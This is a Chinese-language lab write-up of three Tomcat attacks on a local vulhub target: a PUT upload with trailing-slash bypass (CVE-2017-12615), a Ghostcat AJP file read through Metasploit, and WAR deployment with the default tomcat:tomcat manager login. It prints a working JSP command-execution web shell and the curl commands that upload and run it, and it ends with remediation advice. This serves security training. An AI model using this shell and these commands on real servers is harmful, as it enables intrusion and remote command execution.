vulhub靶场(tomcat三件套:PUT写马、Ghostcat与manager弱口令)

0.免责声明

提前叠一下甲,免得等下申鹤不给过。本文所有测试均在本地自建靶场( vulhub 思路) 中完成,测试目标为 192.168.153.1(Docker/WSL2 本地环境,权限完全归属作者本人)。相关技术仅用于授权安全测试与网络安全学习,严禁用于未授权目标的渗透测试与攻击行为。文末附完整漏洞修复建议。

1.实验环境

|-------|------------------------------------------------------------------------------|
| 对象 | 配置信息 |
| 攻击机 | Kali,192.168.153.128 |
| 目标宿主 | 192.168.153.1(Docker Desktop / WSL2) |
| 靶场① | Tomcat 8.5.19,http://192.168.153.1:8082(DefaultServlet 开启写入权限readonly=false) |
| 靶场② | Tomcat 9.0.30,HTTP端口:8083 + AJP端口:8009 |
| 靶场③ | Tomcat 8.5.19,http://192.168.153.1:8084/manager(默认账号密码 tomcat:tomcat) |
| JVM版本 | OpenJDK 1.8.0_141(由manager服务接口确认) |
| 辅助工具 | curl、nc、Metasploit、jar/zip打包工具 |

环境说明 :靶场①、③为同一Tomcat 8.5.19实例的不同服务端口,靶场②为独立的Tomcat 9.0.30实例。三个靶场分别对应Tomcat三大经典攻击面:HTTP 文件写入权限、 AJP 协议漏洞、管理后台弱口令认证 。所有漏洞均非Tomcat核心代码漏洞,而是默认配置不当、信任边界失控导致,也是实战渗透中中间件攻击的核心切入点。

2.靶场 CVE-2017-12615 ------ PUT 任意文件写入 RCE 漏洞

2.1****漏洞原理

Tomcat默认配置中,conf/web.xml 的DefaultServlet组件 readonly 参数默认为 true,禁止所有HTTP写入操作。若运维人员为开启WebDAV、文件上传等功能,手动修改配置关闭只读限制:

XML 复制代码
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

修改后,Tomcat将开放HTTP PUT、DELETE等写入请求方法,且无文件类型校验、无访问白名单限制。攻击者可通过PUT请求上传任意文件,若上传JSP脚本文件,Tomcat会自动编译执行,最终实现远程命令执行(RCE)。

漏洞触发核心条件:默认安全配置被关闭 + 无文件校验机制 + JSP文件可解析执行。

2.2****完整复现步骤

步骤****1 :探测目标写入权限(无害测试)

bash 复制代码
curl -X PUT --data "hi-$(date +%s)" -w "\nHTTP:%{http_code}\n" \
  http://192.168.153.1:8082/test.txt
curl http://192.168.153.1:8082/test.txt

返回201状态码且可正常读取文件内容,确认目标readonly=false,存在文件写入权限。

步骤****2 :构造 JSP 命令回显木马

bash 复制代码
cat > ~/shell1.jsp <<'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String c = request.getParameter("c");
if (c != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", c});
    Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
    out.print(s.hasNext() ? s.next() : "");
}
%>
EOF

步骤****3 :直接写入 JSP 文件(失败,路由拦截)

bash 复制代码
curl -X PUT --data-binary @/root/shell1.jsp -w "\nHTTP:%{http_code}\n" \
  http://192.168.153.1:8082/shell1.jsp

实测返回:HTTP:404,文件无法落盘,并非权限不足,而是Tomcat路由机制拦截。

步骤****4 :尾斜杠绕过限制,成功写入木马

bash 复制代码
curl -X PUT --data-binary @/root/shell1.jsp -w "\nHTTP:%{http_code}\n" \
  http://192.168.153.1:8082/shell1.jsp/

实测返回:HTTP:201,木马文件成功写入服务器

步骤****5 :触发远程命令执行

bash 复制代码
curl "http://192.168.153.1:8082/shell1.jsp?c=id"

实测返回(权限为root)

2.3****漏洞绕过核心原理

Tomcat通过URL 字面后缀 匹配处理器,文件落盘则遵循路径规范化规则,二者逻辑错位产生绕过漏洞:

|--------------|-----------------------------|--------------------------------|
| URL请求形式 | 匹配处理器 | 写入结果 |
| /shell1.jsp | 匹配*.jsp,交由JspServlet处理 | 不支持PUT写入,返回404,写入失败 |
| /shell1.jsp/ | 不匹配JSP后缀,交由DefaultServlet处理 | 支持PUT写入,尾部斜杠被剥离,实际生成shell1.jsp |

除尾斜杠外,该漏洞还支持**::$DATA** 尾空格、 NTFS 数据流等绕过方式,核心均为「路由检测与文件落地逻辑不一致」。

通用安全思维 :该漏洞与Log4Shell漏洞原理同源,均为安全检测发生在逻辑解析之前,攻击者可构造特殊字符绕过检测,最终触发恶意逻辑执行。

2.4****漏洞修复建议

  • 保持DefaultServlet默认配置,readonly="true",关闭非必要写入权限;
  • 升级Tomcat至8.5.19以上、9.x以上修复版本;
  • 在反向代理层拦截禁用PUT、DELETE等危险请求方法;
  • 严格限制webapps目录写入权限,禁止普通用户篡改目录文件。

3、靶场****② CVE-2020-1938 Ghostcat ------ AJP 任意文件读取漏洞

3.1 AJP****协议基础认知

Tomcat默认对外开放两套通信协议端口:

  • 8080/8083:HTTP明文协议,面向浏览器、外网用户,用于正常业务访问;
  • 8009:AJP13二进制协议,仅用于内网前置代理( Apache/Nginx )与 Tomcat 通信,传输效率更高,设计之初为内部可信协议。

经典业务架构:浏览器(HTTP) → Nginx/Apache(前置代理) → AJP协议(8009) → Tomcat(动态业务解析)

漏洞核心前提:Tomcat默认默认信任所有AJP连接,认为8009端口的请求均为内网可信代理发起,无来源校验、无权限认证。

3.2****漏洞原理

Java Servlet规范定义了 include 内部包含机制,容器内部转发请求时,会自动携带三类内置属性:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

这类属性仅允许 Tomcat 容器内部赋值 ,用于实现页面内部转发。但Tomcat 9.0.30及以下版本的AJP协议存在逻辑缺陷:允许外部攻击者伪造 AJP 数据包,自定义上述内置属性,且无任何校验

攻击者伪造属性指定服务器文件路径后,Tomcat会将外部请求判定为内部转发请求,主动读取对应文件内容并返回,造成任意文件读取漏洞。

3.3****完整复现步骤

步骤****1 :探测 8009 端口可用性

|--------------------------------------|
| Plain Text nc -zv 192.168.153.1 8009 |

实测返回:192.168.153.1 8009 (?) open,端口开放,AJP服务正常监听。

步骤****2 :通过 MSF Ghostcat 模块读取核心配置文件

|----------------------------------------------------------------------------------------------------------------------------------------------------------|
| Plain Text msfconsole -q use auxiliary/admin/http/tomcat_ghostcat show options set RHOSTS 192.168.153.1 set RPORT 8009 set FILENAME /WEB-INF/web.xml run |

实测成功返回web.xml核心内容(节选):

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Plain Text <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> </web-app> |

模块自动保存文件至本地:/root/.msf4/loot/xxx.txt。关键结论:/WEB-INF为Java Web禁区,禁止外网HTTP直接访问,但可通过AJP协议直接读取,漏洞危害极大。

步骤****3 :边界测试 ------ 读取系统文件 /etc/passwd

|-----------------------------------------|
| Plain Text set FILENAME /etc/passwd run |

实测返回500错误,提示文件不存在。原因:该版本Tomcat的DefaultServlet仅允许读取web 应用根目录内的文件,无法跨目录读取系统文件。

实战价值总结 :该版本Ghostcat无法读取系统文件,但可读取WEB-INF目录下的配置文件、源码、密钥、数据库账号密码,实战中泄露业务核心数据的危害远大于读取系统文件。

3.4****漏洞拓展:联动 RCE 条件

Ghostcat本身仅为文件读取漏洞,无直接命令执行能力。但可与文件上传、 PUT 写入漏洞组合利用:攻击者先上传恶意JSP文件至web目录,再通过AJP include机制加载该文件,即可实现远程命令执行,形成完整攻击链。

3.5****漏洞修复建议

  • 最优方案:无需AJP代理则直接删除 8009 端口 Connector 配置,彻底关闭漏洞入口;
  • 若需使用AJP协议:配置 secretRequired="true" 开启密钥校验,绑定内网IP白名单,禁止外网访问;
  • 升级Tomcat至安全版本:9.0.31+、8.5.51+。

4、靶场****③ Tomcat manager 弱口令 ------ WAR 包部署 RCE 漏洞

4.1****漏洞背景与原理

Tomcat官方发行版默认自带 manager管理应用,部署在 webapps/manager 目录,提供应用部署、卸载、状态查询等核心权限,等同于服务器后台管理权限。

该后台的认证配置存储在 conf/tomcat-users.xml,官方默认配置账号密码为 tomcat:tomcat,且默认赋予管理脚本权限。若运维未修改默认凭据,攻击者可直接登录管理接口,上传恶意WAR包部署木马,实现服务器RCE。

漏洞根因 :非代码漏洞,纯默认凭据未修改、最小权限原则未落实

4.2****完整复现步骤

步骤****1 :认证权限验证

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Plain Text # 无密码访问,401拒绝 curl -s -o /dev/null -w "no-auth: %{http_code}\n" http://192.168.153.1:8084/manager/html # 弱口令认证,成功访问 curl -s -u tomcat:tomcat http://192.168.153.1:8084/manager/text/list |

步骤****2 :收集服务器信息

|---------------------------------------------------------------------------------------------------|
| Plain Text curl -s -u tomcat:tomcat http://192.168.153.1:8084/manager/text/serverinfo | head -12 |

回显关键信息:Tomcat 8.5.19、Linux系统、JDK1.8,为精准攻击提供版本情报。

步骤****3 :构造恶意 WAR 木马包

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Plain Text # 创建目录结构 mkdir -p ~/shellwar/poc # 复制已有JSP木马 cp ~/shell1.jsp ~/shellwar/poc/index.jsp # 打包为WAR文件(Tomcat可直接部署) cd ~/shellwar/poc && jar -cvf ../shell.war . |

步骤****4 :通过 manager 接口部署木马

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Plain Text curl -u tomcat:tomcat -X PUT --data-binary @/root/shellwar/shell.war \ -H "Content-Type: application/octet-stream" \ "http://192.168.153.1:8084/manager/text/deploy?path=/shell" |

成功返回:OK - Deployed application at context path /shell

步骤****5 :触发命令执行

|------------------------------------------------------------------|
| Plain Text curl "http://192.168.153.1:8084/shell/index.jsp?c=id" |

实测返回root权限命令执行结果,RCE成功。

步骤****6 :查看部署状态

|--------------------------------------------------------------------------------|
| Plain Text curl -u tomcat:tomcat "http://192.168.153.1:8084/manager/text/list" |

列表中可见 /shell:running,木马应用正常运行。

步骤****7 :卸载木马、清理痕迹

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Plain Text curl -u tomcat:tomcat "http://192.168.153.1:8084/manager/text/undeploy?path=/shell" curl -s -o /dev/null -w "GET /shell: %{http_code}\n" http://192.168.153.1:8084/shell/index.jsp |

预期返回卸载成功,后续访问404,清理完成。

4.3 Tomcat****管理角色权限说明

Tomcat精细化划分管理权限,实战中需重点区分:

|----------------|--------------|------------------|
| 角色权限 | 功能范围 | 访问接口 |
| manager-gui | 图形化后台操作权限 | /manager/html |
| manager-script | 命令行部署、卸载应用权限 | /manager/text/* |

实战重点 :仅拥有 manager-script 权限、无法登录图形后台,依然可通过text接口部署木马实现RCE,切勿轻视接口权限漏洞。

4.4****漏洞修复建议

  • 删除 tomcat-users.xml 中默认账号,配置高强度自定义密码;
  • 限制manager后台访问IP,仅开放内网管理网段,禁止外网访问;
  • 遵循最小权限原则,按需分配管理角色,禁用多余权限;
  • 开启登录次数限制、操作日志审计,及时发现异常部署行为。

五、三大漏洞核心共性总结

|--------------|----------|------------|------------------|----------------|
| 漏洞类型 | 攻击面 | 前置条件 | 最终危害 | 核心根因 |
| PUT写入RCE | HTTP文件写入 | 关闭只读权限 | 任意文件写入、ROOT权限RCE | 配置不当+路由逻辑错位绕过 |
| Ghostcat文件读取 | AJP二进制协议 | 8009端口对外开放 | 泄露业务配置、源码、密钥 | 协议信任边界失控、无来源校验 |
| Manager弱口令 | 后台认证接口 | 默认凭据未修改 | 部署木马、服务器全权控制 | 默认配置不安全、权限过大 |

核心总结 :三大漏洞均非高危代码漏洞,全部源于默认配置不安全、信任边界滥用、最小权限原则缺失,是实战渗透中Tomcat中间件最常见、利用率最高的攻击面。

**六、**Tomcat 安全运维基线清单

  • 关闭冗余端口:无需AJP代理则删除8009端口配置,必要时开启密钥校验+IP白名单;
  • 禁用危险写入:保持DefaultServlet默认只读配置,禁止随意开启PUT写入权限;
  • 修改默认凭据:清空tomcat默认账号,配置高强度、唯一管理密码;
  • 隔离管理权限:manager后台仅限内网访问,禁止外网暴露;
  • 最小权限分配:按需分配管理角色,杜绝超权限账号;
  • 版本安全升级:及时升级Tomcat至对应漏洞修复版本;
  • 关闭信息泄露:屏蔽服务器版本、异常栈详情等敏感信息;
  • 降权运行服务:Tomcat进程禁止以root权限运行,限制目录操作权限。
相关推荐
君顾12 小时前
家政派单小程序源码开发实战:从零搭建到上线全流程指南
java·开发语言·家政派单
流烟默2 小时前
HTTP 连接管理技术梳理:JDK KeepAliveCache 机制与池化选型
java·网络协议·http
阿酷tony2 小时前
视频专栏列表的防录屏水印和跑马灯效果(也可网站调用)
java·前端·音视频
洋不写bug2 小时前
排序(一)基础排序,插入|希尔|冒泡|直接选择排序详解
java·算法·排序算法·插入排序·冒泡排序·希尔排序·直接选择排序
xcl09252 小时前
全民健身智慧管理系统实战指南:从架构设计到部署落地
java·spring boot
Bs_MoneyMagnet3 小时前
基于springboot+vue的宠物殡葬管理平台的设计与实现 源码+文档
java·javascript·vue.js·spring boot·后端·宠物
ly76893 小时前
生产环境 Spring Boot 应用内存泄漏排查实战
java·spring boot·spring·内存泄漏·threadlocal·gc日志·堆转储
IT小白杨3 小时前
eBay多账号如何应对关联判定:主体、收款、IP、环境四层配置清单一次讲清
java·网络·网络协议·tcp/ip·自动化·指纹浏览器
無a伟4 小时前
RabbitMq高级特性:TTL,死信队列,延迟队列
java·分布式·rabbitmq